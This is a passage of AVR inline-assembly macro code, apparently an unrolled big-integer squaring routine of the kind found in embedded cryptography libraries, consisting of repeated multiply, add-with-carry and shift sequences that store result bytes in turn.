\n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r8, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r9, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r17, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r8, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r9, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r9, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r10, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r18, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r9, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r10, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r11, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r19, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r10, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r11, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r10, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r11, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r12, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r20, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r11, r10 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r12, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r11, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r12, r10 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r13, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r21, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r12, r11 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r13, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r12, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r13, r11 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r14, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r2, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r13, r12 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r14, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r13, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r14, r12 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r15, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r3, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r14, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r15, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r3, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r15, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r16, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r4, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r16, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r17, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r3, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r17, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r18, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r5, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r18, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r19, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r3, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc 